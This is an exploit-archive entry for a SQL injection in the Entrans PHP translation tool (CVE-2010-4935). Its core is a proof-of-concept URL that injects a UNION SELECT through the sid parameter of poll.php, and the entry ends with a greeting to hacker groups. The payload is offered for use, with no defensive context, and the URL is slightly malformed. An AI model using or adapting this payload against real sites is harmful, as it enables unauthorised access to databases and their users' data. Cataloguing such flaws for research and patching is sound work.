Entrans - SQL Injection

Author: keracker
type: webapps
platform: php
port: 0
date_added: 2010-09-27
date_updated: 2010-10-03
verified: 1
codes: CVE-2010-4935;OSVDB-76226
tags: 
aliases: 
screenshot_url: 
application_url: 

# Exploit Title: Entrans SQLi vulnerablility
# Date: 2010/9/27
# Author: keracker
# Software Link: http://sourceforge.net/projects/entrans/
# Software Description: Entrans is an online collaborative translation tool used for editing and translation of PO files. It provides features such as ``dynamic'' keyboard for Indian languages and automated suggestions to help beginners and experts alike.
# Version: all
# Tested on: windows

# xpl:
    http::/localroot/poll.php?sid=-1+union+all+select+1--



#Greetz:
    ALL IRANIAN MUSLIM HACKERs